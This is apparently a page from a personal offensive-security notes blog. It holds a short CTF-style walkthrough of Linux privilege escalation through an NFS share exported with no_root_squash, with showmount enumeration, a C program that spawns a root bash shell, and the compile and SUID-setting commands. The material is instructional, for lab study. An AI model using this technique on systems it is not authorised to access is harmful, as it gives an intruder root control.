boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

NFS SUID Bit Set

The critical element for this privilege escalation vector is the no_root_squash option. By default, NFS maps the root user to nfsnobody and strips any file from operating with root privileges. If no_root_squash is present on a writable share, we can create an executable with the SUID bit set and run it on the target system.

Start by enumerating mountable shares: showmount -e 10.10.240.115.

Mount one of the no_root_squash shares.

Create a binary that runs /bin/bash:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}

Compile it and set the SUID bit:

gcc nfs.c -o nfs -w
chmod +s nfs
ls -l nfs

Back on the victim box, navigate to /home/ubuntu/sharedfolder and run it with ./nfs.